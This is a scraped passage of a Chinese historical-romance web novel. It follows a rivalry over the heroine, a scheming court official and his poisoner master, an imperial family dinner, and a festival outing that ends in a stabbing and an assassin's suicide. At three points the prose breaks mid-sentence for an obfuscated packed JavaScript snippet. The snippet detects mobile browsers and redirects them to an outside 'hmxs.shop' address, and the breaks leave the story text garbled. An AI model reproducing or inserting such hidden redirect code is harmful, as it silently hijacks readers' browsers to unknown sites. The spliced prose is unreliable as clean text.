文蕼又是一惊,“原来姑娘是蛮菩萨前辈的弟子啊。” 他惋惜道,“之前,好像是八九年前,师父还去了趟玄林,只可惜那次他说什么也不带我和师弟,不然我们就能早些认识、成为青梅竹马的玩伴了。” 文蕼生得高大俊朗,他骨相立体、五官深邃,不知道是不是淋雨的缘故,一头卷曲黑发隐隐呈现出些许红棕色,眼仁乍一看是黑色,但仔细一看,其实是幽绿色的。 虽然他有几分邪气,但却没有恶意,只凭他的容貌,李棋也很乐意和他交好。 她乐呵呵笑道:“现在认识也不晚。” 邹杲酸溜溜插话,“本王倒是不知道,小棋儿你竟然还和逍遥门的人有些关系。” 李棋还没说话,文蕼先阴阳怪气笑道:“别说小棋妹妹和王爷只是医患关系,就算以后小棋妹妹与王爷关系匪浅了,王爷也不一定能完全知道她有过哪些经历,不是吗?” 他挑衅看了邹杲一看,又笑眯眯对李棋道:“至于小棋妹妹和逍遥门的关系,那就更是小棋妹妹自己的事。” 意思是,就算你是王爷,你又算哪根葱,你配知道这些吗? 气氛有点剑拔弩张,但毕竟是赵伯伯的徒弟,所以李棋应和笑了笑。 “本王和小棋儿的时间还长着,只要本王想知道,小棋儿自然都会告诉本王。” 看着又开始发疯的邹杲,李棋下意识想离他远点,但是胳膊被邹杲死死按着。 文蕼玩味看向邹杲抓着李棋的手,勾唇笑道:“谁不是呢,我和师弟和小棋妹妹的时间也还长着呢!” “毕竟,小棋妹妹的师父和我们的师父是多年故交,他们时常聚汇。以前小棋妹妹还小,伯伯不舍得她出来,现在就说不定了。” 他又热情邀请李棋,“小棋妹妹,今年毒伯伯再要来逍遥门找我们师父喝酒,你一定也要来啊。我师弟酿的酒,临江仙老前辈他们喝过都说好喝呢。” 李棋来了兴趣,“是吗,小乖乖鱼还会酿酒啊!” 文蕼肯定回应,李棋笑着又说:“那就奔小乖乖鱼酿的酒,我也一定要去一趟逍遥门了。” 萧逾激动看向李棋,“好,我回去就多酿点酒,等姐姐来。” 萧逾的热情让李棋有些无所适从。 邹杲冷哼道:“再好能好过天下第一阁的醉红尘吗?小棋儿你想喝酒,来找我就是,醉红尘管够。” 文蕼贱兮兮挑衅一笑,“巧了,醉红尘的正是第一阁的阁主从我师弟这买去的,醉红尘这个名字还是我取的呢。” 邹杲一滞,他确实不知这个,也被堵得说不出话来。 醉红尘出自面前的小少年之手,这倒是令李棋没想到,“小乖乖鱼这么厉害啊!” 萧逾脸红彤彤的,“师兄和师父还有几个师叔都爱喝,我就研究了一些,姐姐爱喝,我以后会酿出更多好酒给姐姐喝的。” 李棋求之不得,“那姐姐就先谢谢小乖乖鱼了。” 一口一个‘小乖乖鱼’,邹杲酸得牙都快掉了。 三人相谈甚欢,他都插不进去,只能紧紧抓着李棋的手臂,免得她跑到两人中间去坐下。 在他们‘相谈甚欢’中,雨停了,天也明了。 * 鸿秋塞的雨停了,鄂阳的涌动的暗潮却越来越猛烈。 28. 幽冥卷·第三章 3 鄂阳,一处不起眼的宅院的地下暗室中。 一白发男人负手站在一间暗室之中,他正全神贯注透过暗室侧上方的小窗口,看着上方透露下来的些许光亮,以及外面滴滴答答下了多日的雨。 男人身材高大,身形挺拔,与一头花白的头发形成鲜明的对比。 烛火摇曳,暗室最内侧传来动静,一块木板被掀开,光亮从上面照射进来,接着,一个穿着简单灰衣的男子提着一个食盒跳了下来。 两个成年男人的高度,他竟然就这么跳了下来,而且稳稳落地,食盒中的汤汁都不曾洒出来。 在他跳下来之后,光亮立刻消失不见。 来人正是旁人眼中手无缚鸡之力的典客子瞮。 “师父,吃晚饭了。”子瞮喊着,将摆着烛火的桌子上杂乱放置的纸笔都收好,又把饭菜一一摆了出来。 白发男人这才缓缓转过身来。 这人,正是和李棋邹杲说要先一步去虚无孤岛等他们的蛮菩萨毒赋。 “典客大人不该忙得脚不沾地吗?今日怎么有空亲自来给草民送饭?”毒赋面无表情但阴阳怪气嘲讽着。 子瞮也不恼,依旧笑呵呵的,“师父不要挖苦徒儿了,我这典客就是一个虚职,手下能使唤的人一双手的数都凑不齐,能忙到哪儿去啊。” “先吃饭吧。”子瞮将碗筷摆出来,恭恭敬敬拉开椅子,拿着一张湿帕子递给他擦手,“我知道师父您担心师妹,别急,我们边吃边说,等会饭菜该冷了。” 毒赋这才冷着脸接过帕子擦了擦手,在子瞮拉开的椅子上坐下来,又勉为其难接过了子瞮递给他的筷子和为他盛的饭菜。 子瞮也坐下来,恭敬、热切地为他夹菜,颇有几分父慈子孝的模样。 只是,毒赋只吃了一口饭,就看向他问:“小棋现在到何处了?近况如何?是否安好?” 子瞮低头吃着饭,孩童一般委屈又直白道:“师父,您何时也能像关心师妹那般关心我呢?” 但随即,他话音一转,笑道:“说起来,师妹那些画像还是师父您画的呢。” 子瞮抬起头,笑意盈盈看向他,“我让师父画师妹的画像的时候,师父就该猜到我的意图了的吧。可是,师父您还是画了呢,并且画了上百张,您可真是‘记挂’师妹啊。” 毒赋沉默看着他,没有说话,也没有太大的情绪波动。 子瞮为他夹了一片牛舌,这是毒赋最喜欢的一道下酒菜。 毒赋眼神复杂看了牛舌一眼。 子瞮没有注意到,一边吃饭,一边自顾自又道:“师父,梁国那宝藏的诱惑真的太大了,我只放出了一点风声,就有无数人赶到鸿秋塞去守株待兔,连天下第一阁都惊动了。” “不出意外,师妹这会儿应该正在和那些豺狼虎豹周旋,以师妹的能力,轻易不会死,但肯定不会好过。不过师父也莫急,最迟明晚,就能知道结果了。” 毒赋拿起筷子,吃下了碗中那片牛舌。 他问:“皇帝不是计划祭天大典之前都让常胜王活着,为何突然要将祸水引到小棋身上?江湖人士可不是好对付的,小棋再厉害,终究双拳难敌四手。” 子瞮吃饭的动作一顿,“他们不该去鸿秋塞的。” “为何?”毒赋追问。 子瞮不再说话,只低头继续吃饭。 毒赋又问:“此事皇帝知道吗?你就不怕坏了皇帝的计划,皇帝责怪于你,你割舍一切也要追求的仕途就此断送。” 子瞮抬起头看着他,笑着期待问:“师父是在担心我吗?” 毒赋没有回答,就这么静静看着他。 得不到想要的答案,子瞮叹了口气低头继续吃饭,吃了两口,他才又道:“师父啊,您见多识广,早就猜到陛下为什么要这么对待邹杲了吧?” “说来也好笑,他明明是天下之主,却也得怕这儿怕那儿。”子瞮笑道,“一边忌惮邹杲,一边又得借助他之前为邹杲造的声势去震慑世人。” “师父您作为旁观者帮徒儿分析分析,他究竟在为哪位皇子铺路?我想要的万人之上的权势,又该投靠哪位皇子才能得到?” 毒赋依旧不语,他拿起筷子又夹了一片牛舌,缓缓嚼着。 子瞮又道:“我的直觉告诉我,三皇子会是皇上心中的最佳人选,他虽然过于纯善,但是却也有勇有谋、武力超群,跟在皇上身边长大,而且,心软在稳固收拢人心的时候,未必是坏事。” “只是。”他担忧又说,“只是,邹珣生母深得皇上宠爱,邹珣本人又过于狠辣癫狂,这点倒是和为达目的不择手段的皇上如出一辙。他身后还有根基深厚的左相一派的支持,不到盖棺定论的时候,谁笑到最后都不得而知。” 毒赋终于和他说话了。 他冷冷问:“所以,你两边都在讨好?” “讨好?讨好!”子瞮笑出了声,“师父,在您心里,我好像永远做不成大事,永远卑微下贱。” 毒赋一愣,他并不是这个意思,但他并不擅长解释,且子瞮也没给他说话的机会。 “师父,我没法再继续和您待下去了,再待下去,我会对您不敬的。” 子瞮站起身来,“估计我在这,师父您也吃不好,我先回去了,师父您好好吃饭,别因为生徒儿的气,气坏了身体。” 他说完,起身走向他来时落下的地方,他往上面喊了一声“荣淏”,木板打开,一根绳子丢了下来。 很快,子瞮出了暗室,木板被盖上,短暂的光亮又一次消失。 毒赋看着紧紧盖住的地方,长长叹了口气,他静静坐了一会儿,又拿起筷子,端着饭缓缓吃了起来。 ** 皇城御书房。 成武帝居于上位,一左一右拿着两份奏折,身边也一左一右站着两个高大的身影。 这两人正是邹珣和邹瑅。 成武帝面色严峻,看着两份批改笔迹完全不同的两份奏折,眉头锁得越来越紧。 兄弟两人的呼吸也都越来越低,邹瑅只弯着腰等着父皇的训斥,邹珣恭敬等待的同时也偷瞥起邹瑅的反应来。 低沉肃穆的氛围持续了很久,直到沙於的出现打破了寂静。 “陛下,已经辰时三刻(19:45),该用晚膳了。”沙於说着跪了下来,语重心长劝说,“陛下,龙体要紧,先用晚膳吧。” 成武帝抬头看向沙於,他扔下左手的奏折,捏了捏眉心,“朕知道了,你着人去准备。” 闻言,沙於欢天喜地站了起来,“是,老奴这就去准备。” 邹珣心下一喜,因为,成武帝扔掉的,是邹瑅处理的那份奏折。 邹瑅注意到了,但是也没多想,因为以前在军营时,父皇也经常在讨论要事的时候,顺手丢掉手里的物件,无论重要与否。他和阿杲,还有跟随父皇左右的将军们早都习以为常。 邹瑅正准备请安离去,成武帝又叫住沙於,“沙於,命人把珣儿、瑅儿的一并准备上,今晚,我们父子三人一同用膳。” “是!”看到他们父子关系和睦,沙於看起来比成武帝还高兴,乐呵呵小跑着准备去了。 “谢父皇恩赐!”邹珣连忙恭恭敬敬跪谢。 邹瑅被他的反应搞得一惊,见父皇侧头看向自己,他有些尴尬,又有些无措,虽觉得没必要,却也只得跟着重复皇兄的动作与话语。 成武帝这才满意,叫两人起来,带着两人去吃饭。 * 很快,沙於派人准备好一桌佳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680513|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肴,成武帝父子三人也坐到了饭桌上。 父子三人沉闷吃着饭,邹瑅不自在极了,连食欲都降低了很多。 相比之下,邹珣就要活跃很多,他时不时和成武帝说某一道菜有多好吃,让沙於夹给他尝尝。 两父慈子孝的互动,看起来好不暖心。 就是邹珣的长相更像其母妃韩贵妃,和成武帝只有一两分相似。 一顿饭吃到尾声,成武帝突然喊了邹瑅:“瑅儿。” “是!”邹瑅一惊,猛地抬起头来,嘴里还含着一大块红烧肉,他不动声色吸到了嘴里,也不敢嚼。 邹珣一边窃喜,一边嫌弃,觉得他没有皇室风范,肯定会被父皇骂。 然而,成武帝没有骂他,成武帝只淡淡道:“朕叫你,何必这么惊慌?你是皇子,注意你的仪态。” 邹瑅囫囵把肉咽了下去,险些没把他咽死。 “是,儿臣知道了。”他诚恳认错。 成武帝点了点头,沙於又打了个圆场,“三殿下从小到大都这么可爱,也从来都是知错就改的,陛下别担心,下次三殿下一定不会如此了。” 这件事,就这么翻页了。除了邹珣还心有不甘记着,没有任何人再在意。 成武帝看着邹瑅道:“马上就是七月初七乞巧节,雨也差不多该停了,你转眼二十二岁,也该成家生子了,你二哥像你这么大的时候,你侄儿都能走了。” 邹珣连忙笑盈盈道:“父皇,沛儿已经五岁了,他前几日学了好几段《嬴赋》,一直跟他母妃闹着要背皇爷爷听呢。” 成武帝被邹珣转移了注意力,扭头看向他,似乎有些愠怒,但一看便并非要较真,“沛儿想见朕,你为何不早说呢?” 邹珣真情实意道:“父皇恕罪,儿臣怕叨扰父皇……” 成武帝直接打断他,“朕跟朕的皇长孙见面,有何叨扰,明日,带沛儿来朕见见罢。” “是,儿臣遵旨。”邹珣喜上眉梢应着,似是挑衅看了眼邹瑅,不过邹瑅全然没在意就是了。 成武帝又将视线转向邹瑅,“看到了吗,瑅儿,你也该成家了,乞巧节那日,你放下职务,好好去逛逛,若是遇上心仪的,只要合适,朕立刻派人去为你提亲,也省得你母后和祖母日日催朕了。” 刚回皇城的时候,邹瑅是很期待娶妻的,但回来这一段时间,每天的事务就足够他头疼,他对娶妻也就没有那么热衷了。 他想说不用着急,但是看着父皇难得笑逐颜开的脸,他又说不出口,便顺势点头应下。 不过,他想到了子瞮,“父皇,儿臣能在朝臣中找一个与儿臣一般年龄的人作陪吗?” 他此地无银三百两的又补充,“一个人实在无趣,儿臣还有些嘴笨,恐怕遇到心仪的姑娘时,姓名详细问不出来,反而惹怒人家姑娘。” 成武帝没好气笑了,“你还是三岁幼儿吗?这也要问朕,觉得一人孤单无趣,你自己找个伴同行便是,何故问朕。” 邹珣又插嘴,请求道:“父皇,静姝一直不曾外出,乞巧节本就是女儿们的节日,不如也让静姝去结交些姐妹吧。。” 成武帝考虑了一会,看向邹瑅,“那七月七,瑅儿你便带上静姝一起去看看吧。” 邹珣的脸垮了下来,他以为成武帝会把这事交给他的,因为静姝才是他的亲妹妹,同父同母的。 这时候,成武帝又转头看向他,亲近道:“珣儿你已有皇妃,就不要去凑这个热闹了,届时你带上沛儿与皇妃来宫中,陪朕与你母妃小聚一日。” 邹珣瞬间喜笑颜开,“是,儿臣遵旨!” 要说的说了,饭也吃得差不多了,成武帝也就不再停留,他让邹瑅邹珣各自回去后,便起身去了韩贵妃,也就是邹珣生母的寝宫。 29. 幽冥卷·第四章 4 当晚,鄂阳下了一场很大的雨,但是隔日下午,雨便停了。 整个鄂阳被大雨冲洗了一遍,焕然一新,仿佛这几日的雨就是为了迎接马上到来的盛大节日而来的一般。 乞巧节在雨过天晴的第二日。 也不知道是怎么传出来的,鄂阳城的百姓都说今年结的亲将会是天作之合的好姻缘,所以今年的乞巧节格外的热闹。 邹瑅也是在乞巧节的当天才找上门去让子瞮晚上陪他一起。 这几个月,子瞮一直躲着他,为了避免再一次被子瞮拒绝,他不得不出此下策。 乞巧节的精彩都在夜幕降临之后,所以,也并不着急。 申时(15点),他和静姝换上普通寻常的衣物,这才走出皇宫,乘坐马车前往典客府。 今日的鄂阳格外热闹,天南海北的小商贩、走南闯北的江湖人大多都闻讯聚集于此,整个鄂阳的街道在礼乐司出面置办装饰下,繁花似锦,花灯也如繁星般,绚丽繁美。 这个点,年轻的女子、男子们还在家中盛装打扮。 是故,此时的大街上只能看到商贩和守护皇城安宁的龙武大军。 龙武军是成武帝的亲兵,一共有十万人,其中两万人驻守在鄂阳城郊,只听从成武帝的调遣,另外八万人则分散在鄂阳附近的几座城池,随时听候调遣。 * 这是静姝第一次出宫,她坐在马车里,将窗帘掀开一个小角,雀跃又小心翼翼看着外面的种种。 看她这胆怯拘谨的模样,邹瑅不由失笑,“好奇就掀开好好看,现在不是在皇宫,不用那么拘谨。” 静姝怯怯笑了笑,放下了窗帘,有些期待看着邹瑅,“皇兄,我们接到子瞮典客之后,去往何处啊?” 这是个好问题,而且邹瑅还没有答案,从前,不到迫不得已,他都有父皇或阿杲可以依赖,这也养成了他懒惰、随遇而安的性子,今晚的行程,他自然也没仔细想过。 看着温婉怡人的妹妹,他宠溺笑了笑,“都行,你想去哪儿啊?今天听你的。” 静姝露出不可思议又跃跃欲试的神情,“真的吗?我真的可以做决定吗?” “当然可以。”邹瑅见不得静姝这副小心翼翼的模样,“静姝,你可是我们大嬴唯一的公主,是父皇唯一的女儿,是我和二皇兄唯一的妹妹,你当然可以大胆做决定。” 静姝激动又有些顾虑,水润润的眼睛睁得大大的,激动看着邹瑅。 激动到有些泫然欲泣的模样,看着都我见犹怜。 “不要害怕,只要不是跋扈,你怎么张扬都可以的。”邹瑅不太熟练伸手揉了揉她的头发,轻声细语安抚她,“静姝想去何处,只要能到达,皇兄都陪你。” 这还是邹瑅第一次和这个妹妹这么亲近地相处,静姝的柔弱超乎他的预料,真的难以想象韩贵妃那么强势的女子会养出这么温婉的女儿来。 “我想去市集。”静姝说,“以前总听外出采买的太监们说起市集来自天南地北的精巧物件与美味吃食,今日难得能出来,我想去买一些。” “好,等接到子瞮我们就去。”邹瑅说着,想了想,又伸手揉了揉她的头发。 静姝小声道谢:“谢谢皇兄。” 邹瑅听得不乐意了,“你我是兄妹,不必如此生疏。” 静姝嫣然笑着点头,小声应了声‘嗯’。 见她这样,邹瑅不由得想起阿杲说过静姝不喜欢阿杲这种健壮勇猛的,他有些纳闷想不通,便直接问了:“静姝,你当真不喜欢阿杲吗?” 静姝一愣,脸都红了,不是因为邹杲,而是因为被兄长问起私密的情爱之事羞红的。 也许是马车里光线暗,也许是因为静姝穿着粉红色衣裙,邹瑅完全没注意到她脸红了,继续又问:“阿杲说比起他,你可能更心悦子瞮,真的假的啊?” 不等静姝回答,他纳闷又问:“你见过子瞮吗?也不知道阿杲如何就说你心悦他了呢?” 他自问自答,“虽然子瞮模样很是俊俏,可是,他也太柔弱了吧。是现在的女子都喜欢柔弱聪明的书生,不喜欢我和阿杲这种强壮英俊的武将了吗?” 静姝整个人都要熟了,这个皇兄太过直白了。 不过,她又想起几个月前,迎接完父皇凯旋归来,她和小宫女偷溜出队伍,却被人潮推挤得摔下石桥时……好难为情,但是子瞮典客才不柔弱,他能稳稳接住自己。 想到这,静姝的脸又红了几分。 邹瑅见静姝不说话,还以为她在害羞,正想催她不要害羞快说给他听听,马车缓缓停了,随从的声音也传进来。 “殿、咳……公子,到典客府了,典客大人似乎正要出门。” 闻言,邹瑅只好作罢,先下马车拦住子瞮再说。 他利索跳下马车,也没顾得上后面的静姝,先乐呵呵高声喊着子瞮。 但是很快,他的笑容就僵硬在脸上。 子瞮见是他来了,急急忙忙迎出来,但还没靠近,就先恭恭敬敬躬身作揖行大礼,“三皇子殿下大驾光临,下官有失远迎,求殿下恕罪。” 邹瑅脸瞬间垮了下来,看着子瞮低到尘埃里的姿态,他的一腔热情也冷了下来,再想到身后父皇以保证他和静姝的安全为由,特意派来他们的四个守卫,他说出来的话也变得冷硬起来。 “父皇命本殿下参与今日的乞巧节,本殿下和皇妹对鄂阳的大街小巷不甚熟悉,你下午跟着我们,为我们引路。” “是。”子瞮恭恭敬敬回应,一直没有抬起头来。 邹瑅见他这幅疏远的模样,不由得又想起阿杲离去时的冰冷声音,他正想再说点什么挽救一下,身后,却传来了静姝的声音。 “皇兄。”静姝在两个侍卫的搀扶下,袅袅走下马车,柔柔地喊了他一声。 子瞮比他反应还快,本就低着的头又低了几分。 “参见公主殿下。” 邹瑅看着,不爽至极,然而,不等他说话,子瞮弯着腰恭恭敬敬又道:“劳请两位殿下先到蔽舍小憩片刻,容下臣换身得体的衣裳。” 子瞮穿着低劣的素色衣袍,衣服染色并不好,有些黄褐色掺杂其中。 不过,子瞮容貌出众,就算是穿粗布麻衣也并不难看,现在这一身,也并没有何处不得体。 但是想到今天是乞巧节,是女儿儿郎们互相认识的大日子,他要娶妻,子瞮也不能耽搁太久。 这般想着,邹瑅嗯了一声,带着静姝跟着子瞮进屋。 典客毕竟是九卿之一,典客府也不小,就是人太少,显得太空太没有生气。 一进去,就是各种淡雅的花草,都种在花盆里,角落处的几拢小翠竹挺拔淡雅,倒是和主人有几分相似。 子瞮把他们安置在大堂,备好茶水就匆忙洗漱换衣裳去了。 邹瑅是个坐不住的性子,端着茶喝了一口,便挺身而立,自顾自在大堂里转了起来。 屋子里的装饰很少,只有几张桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680514|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子几把椅子,两边还挂着几幅笔墨,邹瑅一眼就看出来,都是子瞮的手笔。 他走近细细端详,看着其中一幅画入了迷。 画中是三个十来岁的男童,一个拿着一根树枝在前面赶牛,一个拿着小树枝去招惹赶牛的男童,后面还跟着一个小一些的,他一边跑一边似乎在喊前面两人等他。 看着画中内容,他又是一阵心塞。 征战在外,闲暇之时,他和阿杲还有子瞮,也是这般亲近的。 每每出行,好像也是这般,邹杲大步走在前面,他在中间追赶,而身体孱弱许多的子瞮总是无法跟上他们的脚步,往往需要他的照顾等待。 静姝好奇走了过来,“皇兄,这是哪位大家的画作?” “不是什么大家,子瞮自己画的。”邹瑅说着,负手走到里面,“子瞮很喜欢作画,我和阿杲都觉得很好,只是他一直觉得自己画得不够好,不愿意展示给世人传看。” 最内侧左边,放着一盆一人高的松柏,青翠茂盛。 邹瑅摸着松柏翠绿的枝叶,注意到盆栽下,还垫着一块地毯,一时纳闷。 这盆栽那多大,一看就不好搬动,垫地毯如何方便清理,而且,整个屋子都没有地毯,连右边的那盆都没有,就这盆栽下面垫着,说不出的怪异感。 他用脚踢了一下,地毯卷起来一点点,却发现下面很干净。 他正准备推一下,想让地毯下露出更多,却先听到静姝羞怯又惊喜的声音响起,“子瞮典客,你这么快就好了吗?” 邹瑅转身往门口看去,子瞮换上了一身浅蓝色的锦衣,头上的白布发带也被金镶翠玉发冠代替。 虽然衣服很一般,但这个发冠是还在皇子府的时候,邹瑅特意名工匠做来赠给子瞮的。 邹瑅心中闷气散了不少,又下意识看了静姝一眼,发现她虽然矜持,但是却也没矜持到哪儿去,眼睛都看直了,眼里满是惊艳之色。 他不由心中纳闷,看来阿杲说得果然不错,就是不知道静姝是何时对子瞮动心的。 “不敢让两位殿下多等,这就出发吧。” “好呀,子瞮典客!” 静姝魂都被子瞮勾走了,面色坨红、满含笑意,傻乎乎点头,要不是邹瑅做作咳了一声,她估计都准备直接朝子瞮走过去了。 见静姝停下,回头看向自己,邹瑅才满意了一些。 “那就走吧。”他一边说,一边朝子瞮走去,问道,“怎么单独在左边那盆松柏下面垫地毯,平时如何清理,不怕时间久了,发臭吗?” 子瞮一愣,抬起头看了一眼,连忙解释:“这棵松柏今日有些枯萎,浇了些五谷轮回之水,怕臭味整个屋子都是,才特意在下面垫了地毯。” “五谷轮回之水?”邹瑅面色难看低头看向自己的右脚,他刚刚用这只脚碰了那地毯,臭味该不会留在他的鞋上了吧? 子瞮也看向他的脚,瞬间明白发生了什么。他差点克制不住笑意。 实际也没隐藏太好,邹瑅的脸瞬间就黑了。 “殿下若是不嫌弃,换上下臣的鞋吧。”子瞮又补充,“之前一个粗心的仆人记错了下臣的鞋码,好几双鞋都做大了,一直放着也不曾穿过。” “去取来吧。”邹瑅面子有些抹不开,毕竟他还代表着皇室,“明日还你一双合脚的。” 静姝也后知后觉,用手帕捂着嘴想笑也不敢。 子瞮忍着笑意,唤来仆人,让其去取鞋来,又亲自伺候邹瑅换下。 30. 幽冥卷·第五章 5 三人到了闹市区就下了马车,径直去了天下第一阁。 等他们吃完晚饭出来,天开始泛黑,白日布置的花灯也都亮了起来,街上已经人来人往了。 叫卖吆喝声、交谈嬉闹声、若隐若现的音乐声,一派歌舞升平,热闹非凡。 邹瑅走在中间,左边跟着静姝和四个侍卫,子瞮跟在右边。 “好热闹啊!”静姝惊奇感慨。 邹瑅回头道:“这才刚开始,等会更热闹。” 子瞮转身也对静姝道:“全城的适龄男女几乎都会来,人只会越来越多,小姐一定要紧紧跟着公子,以免走丢迷路。” 静姝连连点头。 “你别吓唬她。”邹瑅冲子瞮没好气道,“有我在,她不能出事。” 邹瑅又对静姝说道:“你放心玩,我会看好你,难得出来,你别拘着。” 静姝看看子瞮,又看向邹瑅,这才乖巧点头。 邹瑅又不爽了,果然女儿大了不中留,妹妹也一样。 见状,子瞮连忙道:“乞巧节有一个很有趣的习俗,未婚男女都会提一盏写着自己名字与家世住址的花灯,在遇到心仪的人时,赠与对方,若对方收下并回赠花灯,便是有意,便可以让家中长辈着手婚配事宜了。公子和小姐也去挑选一盏吧?” “不送人一直提着可以吗?”静姝怯怯问子瞮。 “可以的。” 得到肯定的答复,静姝轻轻扯了扯邹瑅的衣袖,仰头可怜巴巴看着他,“兄长,我们去买花灯吧。” 邹瑅的脾气来得快,去得也快,瞬间就被哄好了。 “好。” 他在前面开路,带着静姝径直往贩卖小花灯的小摊子走去。 这些工匠也是手巧,花灯做成了各种形状,好不可爱,静姝完全被它们吸引,看着每一个都喜欢,邹瑅原本想给她全买下来的,但是被静姝阻止了。 静姝只是觉得它们可爱,并没有想全部拥有,再喜欢,多了也是累赘,拿她拿不动,扔了她也舍不得。 说服想要全部买下来的邹瑅后,静姝才站在一边细细挑选起来。 让两个侍卫护着静姝,邹瑅才放心转身去看来来往往的行人。 今日没有严重的等级区分,哪怕是叫花子,都能在街上大摇大摆的走,不过,他们一般也不会到处乱走自讨没趣,更多的都窝在墙角说些吉祥话,讨一些吃的和五铢钱。 世家小姐们一个个打扮得光彩夺目,身后跟着一两个帮忙提着灯笼的小丫鬟、至少一个保驾护航的男仆,她们本人则人手一把绣扇,三三两两,以扇遮面,一边羞怯说笑,一边慢慢游览,遇到合眼缘的,时不时会悄悄看一眼某一位仪表堂堂的世家公子。 那些世家公子们则潇洒得多,也大胆得多。 相比之下,邹瑅更多注意到那些穿着没有那么靓丽的女子,她们提着自己做的花灯,也不怯色,大胆露出俏丽的面容,展现明媚的笑容。 不过,更吸引他的,是她们衣服上的绣花。 染色并没有那么明亮精美的衣衫上,绣着栩栩如生的各种艳丽花朵和吉祥动物。 “很多普通人家适龄未婚的女子的父母会在乞巧节前几个月就买来布匹,让女子自己绣花缝衣,她们会花费很多心思在这件衣服上,以求在乞巧节这天遇到一个良人。” 听着子瞮的解释,邹瑅下意识低头看了一眼自己的衣服,他今日穿了一身墨绿色的衣衫,这并不特殊,特殊的是他的袖子上还绣着金鹤祥云。 要是早知道乞巧节有这个习俗,他就不穿有刺绣的衣服了,要是被误会了……他一个大男人可不会拿绣花针。 子瞮一眼看出他在想什么,一时忍俊不禁,“公子,就算有男子穿着绣着大红牡丹的衣袍出门,也不会有人认为衣服上的牡丹是男子自己绣的。” 邹瑅听着子瞮掩藏不住的笑意,有些难为情。 他梗着脖子道:“我知道,我只是看一眼我的衣服也没有脏,没有胡思乱……” 他话还没说完,子瞮突然被人撞了一下,重心不稳往后倒去,后面是满是花灯的小摊子,要是砸上去,够他受的。 邹瑅连忙快步上前,揽着他的腰接住他,“怎么回事?” 不等他扶着子瞮站稳,突然,不远处爆发出一阵惊恐的叫喊声“杀人了!来人啊!杀人了!” 拥挤的人群瞬间慌乱起来。 邹瑅扶着子瞮站好,循着声音看去,他们后方,几个衣着华贵的男人扶着一个脑袋耷拉着的男人,男人的胸膛上,似乎插着一个银发钗,鲜红的血液顺着银发钗汩汩流出,染红了他的胸膛。 他立刻又往前方看去,只见一个娇小美丽的身影在人群中快速逆行奔跑着,就是这个人撞了子瞮一下。 “保护好公主,在原地等我。”邹瑅对子瞮和龙武军兵士说完,朝着那快消失的身影就追了上去。 “殿下!” 子瞮才喊出口,邹瑅已经跑出去好远了。 静姝六神无主、焦急看向子瞮,“皇兄他……子瞮典客,我们该怎么办啊?” 子瞮看了眼邹瑅消失的方向,又看向静姝身后四个人高马大、凶神恶煞、一看就不是普通人的守卫,无奈叹了口气。 “听殿下的安排,在原地等着吧。”他说着,朝静姝走了几步,他对四个侍卫说道,“我们站得近一点。” 四个侍卫看了他一眼,没有说话,只默默将他和静姝围在中间。 子瞮的方向能看到不远处被刺杀的男人,子瞮认得他,是‘四公’之一的御史大夫沈凌的次子沈开济,一个靠着家世背景频频流连风月场所,四处为非作歹的花花公子。 * “借过!抱歉!让一下!” 人们越来越慌乱,人群越来越拥挤,邹瑅前进的道路十分困难,无奈,他只得推开挡路的人。 他跟着那娇小的身影跑了很久,都跑出了闹市。 没有烛火照明,也幸好今夜的月光还算明亮。 很快,那人跑进一个四通八达又幽暗的狭小巷子中。 见没有行人,不会误伤,他直接果断扯下腰间的钱袋,拿出里面的几块碎黄金,一边追,一边瞄准扔了出去。 他只扔出去三个,那人发出了痛苦的一声哀叫,左脚失力,往前扑去,还不等那人摔到地上,右边大腿和后背依次又被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680515|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸中。 那人的声音有些太过粗糙,和身上柔美的女性衣裙有些格格不入。 邹瑅一愣,快速追上去。 他将人翻过来,被眼前白得吓人的脸下了一大跳,邹瑅下意识就给了那人一拳。 等他冷静下来,才看清楚,这哪是什么娇美的女子,明明就是个画着浓妆的男人,只是个子矮小细瘦而已。 知道这不是女子,邹瑅也就不和他客气了,抓着他的脖子,将他提起来逼问:“你是何人?和那人有什么仇怨?为何这副打扮去杀他?” 男人右手猛地抬起,想给邹瑅一拳,左脚也准备踢他。 邹瑅虽然年轻,但也是身经百战,经历了无数场厮杀,怎么可能会被男人打中。 邹瑅直接提着他狠狠摔在地上,那人被摔得哀叫不止,似乎被摔狠了,趴在地上抽搐着。 “这么不经打吗?我被这样摔了三百五十七次,如今依然安然无恙,你才一次就不行了?” 邹瑅说着,试探踢了他几脚,抓着他的后衣领又将他提起来。 才将人提起来,看到男人的脸,邹瑅就是一惊,男人口吐白沫,眼睛翻白外凸,这显然不是摔的。 他服毒了! 